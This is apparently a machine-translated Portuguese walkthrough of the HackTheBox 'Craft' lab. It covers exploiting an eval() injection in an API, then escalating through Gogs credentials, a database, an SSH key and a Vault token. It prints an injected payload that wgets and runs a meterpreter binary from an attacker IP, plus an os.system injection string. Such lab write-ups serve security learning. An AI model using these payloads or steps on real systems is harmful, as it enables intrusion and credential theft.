Neste artigo, começarei a publicar soluções enviadas para
processamento adicional no site da
HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Veremos como você pode explorar o RCE na API, mergulhar nos repositórios do Gogs, trabalhar com bancos de dados e lidar com o sistema secreto de armazenamento e gerenciamento do Vault.
A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Inteligência
Verificação de porta
Esta máquina possui um endereço IP 10.10.10.110, que eu adiciono ao / etc / hosts.
10.10.10.110 craft.htb
Primeiro, examinamos as portas abertas usando o nmap e especificamos a opção -A para obter o máximo de informações possível sobre os serviços descobertos.
nmap -A craft.htb

Na máquina, vemos o serviço ssh, bem como um servidor web em execução na porta 443. Se você for ao servidor da Web, ofereceremos uma olhada na API.

Quando tentamos examinar a API e o git, somos informados sobre sites desconhecidos.

Portanto, adicionamos os dois nomes de domínio ao / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Agora os dois links são abertos. A API do Craft é supostamente uma interface para trabalhar com a API; portanto, para iniciantes, precisamos descobrir como ela funciona, com a qual o Gogs nos ajudará.

Ponto de entrada
No git, a primeira coisa a verificar é confirmada.

Após passar pelas confirmações, em 10e3ba4f0a, encontramos os dados de autenticação do usuário.

Tendo logado no gogs em correspondência, encontramos uma menção sobre o bug.

Ao clicar no link, descobrimos como a verificação ocorre na função eval (), o que é muito perigoso, pois você pode executar o código nessa função.

Para testar a hipótese, no console python local, faremos um analógico da função e tentaremos chamar a função "system ()" do módulo "os".

O código foi executado com sucesso! Agora você precisa escrever uma exploração para voltar a se conectar. No primeiro estágio, copie o código para autenticação e recebimento de token.
Nesse código, nossa carga é passada no parâmetro “abv”, portanto, para verificar a suposição do RCE, substituímos a string '15 .0 'por "__import __ (' os '). Sistema (' ping your_ip ')".
Abrimos o tcpdump, indicando qual interface escutar e filtrar parâmetros apenas pacotes ICMP e iniciar a exploração.


Observamos que conseguimos efetuar ping de um host remoto. Agora vamos voltar a conectar. Isso pode ser feito através do nc, mas vamos obter um shell meterpreter. Para fazer isso, gere uma carga usando o msfvenom. Especificamos a carga em si (reverse_tcp), host e porta local (LHOST, LPORT) e o formato do arquivo é elf.

Ao mesmo tempo, ligamos o servidor da web local. Agora configure o ouvinte no msfconsole. Para fazer isso, defina os parâmetros, como na carga.

Ouvimos as conexões recebidas, agora precisamos carregar a carga no host e iniciá-la.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Na janela metasplit, vemos uma conexão de entrada.

USER
Vamos iniciar o shell e ver com quem trabalhamos.

De acordo com a conclusão do terminal, podemos assumir que estamos dentro do contêiner do docker. Dê uma olhada no host.

Há um arquivo executável dbtest.py. Você deveria assistir.

O programa se conecta ao banco de dados e executa o comando com a saída subsequente. Vamos dar uma olhada no banco de dados. Para fazer isso, iniciei o console python interativo no host e copiei todo o código nele antes que o comando fosse executado.

Agora vamos solicitar tabelas.

Como resultado, retornamos 2 registros. Como cursor.fetchone () gera uma entrada, faremos duas dessas saídas.

Então nós temos 2 mesas. Mais interessante é o usuário. Exibimos todos os dados desta tabela.

E há 3 entradas nele.

E obtemos créditos de usuário. Depois de experimentá-los no ssh e falhar, tentamos entrar no git. E acaba por se logar como gilfoyle. E ele tem um repositório fechado.


O diretório .ssh é muito interessante. Existem duas chaves, e nós escolhemos a privada.

Estamos tentando conectar via ssh com essa chave.

ROOT
A primeira coisa a olhar no diretório do usuário.

Encontramos um token do cofre.

Depois de lidar com o
cofre , direi que é um sistema de armazenamento e gerenciamento de segredos que contém dados no formato de chave / valor, que são acessados por um token. Verifique se o armazenamento está configurado.

Vamos
dar uma olhada na lista de segredos .

Assim, vemos que o
acesso ao ssh está configurado .

Agora, inserimos a senha de uso único que nos foi dada e estamos no sistema como root.

Você pode se juntar a nós no
Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.